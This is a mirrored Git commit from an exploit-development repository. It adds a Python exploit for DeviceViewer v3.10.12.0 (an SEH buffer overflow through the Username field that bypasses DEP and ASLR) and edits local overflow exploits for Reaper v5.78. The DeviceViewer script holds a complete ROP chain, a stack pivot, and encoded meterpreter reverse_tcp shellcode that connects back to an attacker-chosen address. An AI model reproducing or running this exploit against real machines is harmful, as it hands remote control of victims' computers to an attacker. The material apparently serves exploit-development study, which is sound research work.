admin/VoidSec-Exploit-Development
1
0
Fork 0
mirror of https://github.com/VoidSec/Exploit-Development synced 2026-06-08 12:50:18 +00:00
Code Issues Packages Projects Releases Wiki Activity

device viewer

Browse Source
This commit is contained in:
Paolo 'VoidSec' Stagno
2020-04-21 17:26:21 +02:00
parent 2aa25bed18
commit ff4de66898
4 changed files with 150 additions and 19 deletions
Download Patch File Download Diff File Expand all files Collapse all files
windows/x86/local/DeviceViewer_v.3.10.12.0/DeviceViewer.exe
BIN
View File
Binary file not shown.
windows/x86/local/DeviceViewer_v.3.10.12.0/DeviceViewer_v.3.10.12.0.py
+134
View File
@@ -0,0 +1,134 @@
"""
Full title: DeviceViewer (DeviceViewer.exe) v.3.10.12.0 - 'Username' Field, Stack Buffer Overlow (SEH) DEP+ASLR Bypass
Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
Vendor Homepage: http://www.sricam.com/
Version: v.3.10.12.0
Tested on: Windows 10 Pro x64 v.1909 Build 18363.720
Category: local exploits
Platform: windows
Usage: DeviceViewer > Login Screen > in the "Username" textarea paste the content of "DeviceViewer_v.3.10.12.0_exploit.txt" and press "Login"
PS C:\Users\user\Desktop> Import-Module .\Get-PESecurity.psm1
PS C:\Users\user\Desktop> Get-PESecurity -file "C:\Program Files (x86)\DeviceViewer\DeviceViewer.exe"
FileName : C:\Program Files (x86)\DeviceViewer\DeviceViewer.exe
ARCH : I386
DotNET : False
ASLR : True
DEP : True
Authenticode : False
StrongNaming : N/A
SafeSEH : False
ControlFlowGuard : False
HighentropyVA : False
"""
#!/usr/bin/python
import struct
poc=open("DeviceViewer_v.3.10.12.0_exploit.txt", "w")
total_size=4000
offset=264 # ofsset to nSEH
# | buffer (4000) |
# | garbage (254) | nSEH (4) | SEH (4) | filler (384) | rop chain (92) | stack adj (6) | shellcode (371) | filler (4000-len(buff)) |
buf = "" # our buffer
buf += "A"*offset # garbage until we hit nSEH
buf += "BBBB" # nSEH;
# 0x6b08190f : pop esi; pop edi; ret | ascii {PAGE_EXECUTE_WRITECOPY} [avcodec-52.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files (x86)\DeviceViewer\avcodec-52.dll)
#buf += struct.pack("<I",0x6b08190f) # SEH used to calculate stack pivot offset
# exception dispatcher ESP: 0x0170EB00
# stack address of our stack adj: 0x0170F67C
# stack pivot: 0x0170F67C-0x0170EB00=B7C (2940)
# nearest pivot
# 0x6ad795e9 : {pivot 3324 / 0xcfc} : # ADD ESP,0CEC # POP EBX # POP ESI # POP EDI # POP EBP # RETN ** [avcodec-52.dll] ** | {PAGE_EXECUTE_WRITECOPY}
buf += struct.pack("<I",0x6ad795e9) # SEH (stack pivot)
# 3324 - 2940 = 384 to fill
buf += "C"*384 # filler until we hit our rop chain
# rop chain generated with mona.py - www.corelan.be
"""
Register setup for VirtualProtect() :
--------------------------------------------
EAX = NOP (0x90909090)
ECX = lpOldProtect (ptr to W address)
EDX = NewProtect (0x40)
EBX = dwSize
ESP = lPAddress (automatic)
EBP = ReturnTo (ptr to jmp esp)
ESI = ptr to VirtualProtect()
EDI = ROP NOP (RETN)
"""
def create_rop_chain():
rop_gadgets = [
#[---INFO:gadgets_to_set_edx:---]
0x6b050b5e, # POP EAX # RETN [avcodec-52.dll]
0xffffffd7, # put delta into eax (-> put 0x00000040 into edx)
0x6ad62214, # ADD EAX,69 # RETN [avcodec-52.dll]
0x6994f1d6, # XCHG EAX,EDX # RETN [avformat-54.dll]
#[---INFO:gadgets_to_set_esi:---]
0x6b050b5e, # POP EAX # RETN [avcodec-52.dll]
0x68bab1f4, # ptr to &VirtualProtect() [IAT avutil-51.dll]
0x699150dc, # MOV EAX,DWORD PTR DS:[EAX] # RETN [avformat-54.dll]
0x6ae8bcd8, # XCHG EAX,ESI # RETN [avcodec-52.dll]
#[---INFO:gadgets_to_set_ebx:---]
0x6b05be37, # POP EAX # RETN [avcodec-52.dll]
0xa1a50201, # put delta into eax (-> put 0x00000201 into ebx)
0x6ade3410, # ADD EAX,5E5B0000 # POP EDI # POP EBP # RETN [avcodec-52.dll]
0x41414141, # Filler (compensate)
0x41414141, # Filler (compensate)
0x6ad5b2b4, # PUSH EAX # POP EBX # RETN [avcodec-52.dll]
#[---INFO:gadgets_to_set_ebp:---]
0x6aec5b60, # POP EBP # RETN [avcodec-52.dll]
0x6ae590cf, # & push esp # ret [avcodec-52.dll]
#[---INFO:gadgets_to_set_edi:---]
0x699b8706, # POP EDI # RETN [avformat-54.dll]
0x6991e152, # RETN (ROP NOP) [avformat-54.dll]
#[---INFO:gadgets_to_set_ecx:---]
0x699cc348, # POP ECX # RETN [avformat-54.dll]
0x6b68c50c, # &Writable location [avcodec-52.dll]
#[---INFO:gadgets_to_set_eax:---]
0x6b05be46, # POP EAX # RETN [avcodec-52.dll]
0x90909090, # nop
#[---INFO:pushad:---]
0x699047dc, # PUSHAD # RETN [avformat-54.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
buf += create_rop_chain()
#------------------------------------------------
buf += "\x81\xc4\x24\xfa\xff\xff" # stack adjustment for meterpreter GetPC routine; add esp, -1500
# shellcode
# max sixe: 3728
# bad chars: \x00\x0a\x0d
# msfvenom -a x86 --platform windows -p windows/metrpreter/reverse_tcp lhost=192.168.206.1 exitfunc=seh -b '\x00\x0a\x0d' -f python
buf += b"\xdb\xd2\xba\xd7\x4e\xeb\xf4\xd9\x74\x24\xf4\x5e\x33"
buf += b"\xc9\xb1\x57\x31\x56\x17\x83\xee\xfc\x03\x81\x5d\x09"
buf += b"\x01\xd1\x8a\x4f\xea\x29\x4b\x30\x62\xcc\x7a\x70\x10"
buf += b"\x85\x2d\x40\x52\xcb\xc1\x2b\x36\xff\x52\x59\x9f\xf0"
buf += b"\xd3\xd4\xf9\x3f\xe3\x45\x39\x5e\x67\x94\x6e\x80\x56"
buf += b"\x57\x63\xc1\x9f\x8a\x8e\x93\x48\xc0\x3d\x03\xfc\x9c"
buf += b"\xfd\xa8\x4e\x30\x86\x4d\x06\x33\xa7\xc0\x1c\x6a\x67"
buf += b"\xe3\xf1\x06\x2e\xfb\x16\x22\xf8\x70\xec\xd8\xfb\x50"
buf += b"\x3c\x20\x57\x9d\xf0\xd3\xa9\xda\x37\x0c\xdc\x12\x44"
buf += b"\xb1\xe7\xe1\x36\x6d\x6d\xf1\x91\xe6\xd5\xdd\x20\x2a"
buf += b"\x83\x96\x2f\x87\xc7\xf0\x33\x16\x0b\x8b\x48\x93\xaa"
buf += b"\x5b\xd9\xe7\x88\x7f\x81\xbc\xb1\x26\x6f\x12\xcd\x38"
buf += b"\xd0\xcb\x6b\x33\xfd\x18\x06\x1e\x6a\xec\x2b\xa0\x6a"
buf += b"\x7a\x3b\xd3\x58\x25\x97\x7b\xd1\xae\x31\x7c\x60\xb8"
buf += b"\xc1\x52\xca\xa9\x3f\x52\x2b\xe3\xfb\x06\x7b\x9b\x2a"
buf += b"\x26\x10\x5b\xd2\xf3\x8d\x51\x44\x3b\xf9\xa8\x95\xd3"
buf += b"\xf8\x34\x87\x7f\x74\xd2\xf7\x2f\xd6\x4b\xb8\x9f\x96"
buf += b"\x3b\x50\xf5\x18\x63\x40\xf6\xf2\x0c\xeb\x18\xab\x65"
buf += b"\x84\x81\xf6\xfe\x35\x4e\x2d\x7b\x75\xc4\xc4\x7b\x38"
buf += b"\x2c\xac\x6f\x2d\x4b\x4e\x70\xae\xf9\x4e\x1a\xaa\xab"
buf += b"\x19\xb2\xb0\x8a\x6e\x1d\x4a\xf9\xec\x5a\xb4\x7f\xc5"
buf += b"\x11\x83\x15\x69\x4e\xec\xf9\x69\x8e\xba\x93\x69\xe6"
buf += b"\x1a\xc7\x39\x13\x65\xd2\x2d\x88\xf0\xdc\x07\x7c\x52"
buf += b"\xb4\xa5\x5b\x94\x1b\x55\x8e\xa6\x5b\xa9\x4c\x81\xc3"
buf += b"\xc2\xae\x91\xf3\x12\xc5\x11\xa3\x7a\x12\x3d\x4c\x4b"
buf += b"\xdb\x94\x05\xc3\x56\x79\xe4\x72\x66\x50\xa8\x2a\x67"
buf += b"\x57\x70\xdc\x12\x18\x87\x1d\xe3\x30\xec\x1d\xe3\x3c"
buf += b"\x13\x21\x35\x05\x66\x64\x85\x32\x76\x68\x38\xaf\xec"
buf += b"\x75\x6f\xd0\x25\x1f\x8f\xed"
#------------------------------------------------
buf += "D"*(total_size-len(buf)) # filler
poc.write(buf)
poc.close()
windows/x86/local/Reaper_v.5.78/Reaper_v.5.78_v1.py → windows/x86/local/Reaper_v.5.78/Reaper_v.5.78.py
+15 -18
View File
@@ -3,36 +3,26 @@ Full title: Reaper v.5.78 Local Buffer Overflow
Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
Vendor Homepage: https://www.reaper.fm/
Version: Reaper v.5.78
Tested on: Windows 10 x64 Pro v.10.0.18363 Build 18363
Tested on: Windows 10 Pro x64 v.1909 Build 18363.720
Category: local exploits
Platform: windows
Usage: Reaper > Options > Preferences > ReaScript > in the "Force ReaScript to use specific python dll" textarea paste the content of "reaper_5.78_exploit.txt"
Usage: Reaper > Options > Preferences > ReaScript > in the "Force ReaScript to use specific python dll" textarea paste the content of "Reaper_5.78_exploit.txt"
"""
#!/usr/bin/python
import struct
poc=open("reaper_5.78_exploit.txt", "w")
poc=open("Reaper_5.78_exploit.txt", "w")
total_size=2000
# | (465) |
# | garbage (37) | shellcode (max 465-37=428) | EIP (4) | filler (2000-469=1531) |
# | (465) |
# | garbage (37) | shellcode (465-37=428) | EIP (4) | filler (2000-469=1531) |
offset=465
buff = ""
buff += "A"*37 # garbage
buff += "BBBB" # alignment
# ESI (0x0019b6e4) points at offset 37 in normal pattern (length 474)
# shellcode
# msfvenom -a x86 --platform windows -p windows/exec CMD=calc.exe exitfunc=thread -b '\x00\x0a\x0d\x7f' -e x86/alpha_mixed BufferRegister=ESI -f python --smallest
# unfortuntely is between 448-440 bytes long
# alternatively we can create our buffer with the following structure: 0x0019741c : Pointer into normal cyclic pattern at ESP-0x4264 (-16996) : 0x00197530 : offset 1036, length 760
# | garbage (37) | ESP-0x4264; JMP ESP () | filler () | EIP (4) | filler () | shellcode () | filler () |
buff += ""
# ------ shellcode ------
buff += "B"*(offset-len(buff)) # filler
# must chose a pointer withouth bad chars and in the good-chars range
# 0x1003111b : call esi | ascii {PAGE_EXECUTE_READ} [elastique.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files (x86)\REAPER\Plugins\elastique.dll)
buff += struct.pack("<I",0x1003111b) # EIP
buff += "C"*(total_size-len(buff)) # filler
# max size: 428
# msfvenom -a x86 --platform windows -p windows/exec CMD=calc.exe exitfunc=thread -b '\x00\x0a\x0d\x7f' -e x86/alpha_mixed BufferRegister=ESI -f python --smallest
# good chars
"""
\x01\x02\x03\x04\x05\x06\x07\x08\x09 \x0b\x0c \x0e\x0f
@@ -68,5 +58,12 @@ buff += "C"*(total_size-len(buff)) # filler
|c3 a8 c3 a9 c3 aa c3 ab c3 ac c3 ad c3 ae c3 af| Memory
`-----------------------------------------------'
"""
buff += "SHELLCODE GOES HERE"
# ------ shellcode ------
buff += "B"*(offset-len(buff)) # filler until we hit EIP
# must chose a pointer withouth bad chars and in the good-chars range
# 0x1003111b : call esi | ascii {PAGE_EXECUTE_READ} [elastique.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files (x86)\REAPER\Plugins\elastique.dll)
buff += struct.pack("<I",0x1003111b) # EIP
buff += "C"*(total_size-len(buff)) # filler
poc.write(buff)
poc.close()
windows/x86/local/Reaper_v.5.78/Reaper_v.5.78_v2.py
+1 -1
View File
@@ -11,7 +11,7 @@ Usage: Reaper > Options > Preferences > ReaScript > in the "Force R
#!/usr/bin/python
import struct
poc=open("reaper_5.78_exploit.txt", "w")
poc=open("Reaper_5.78_exploit.txt", "w")
total_size=2000
# | (1036) |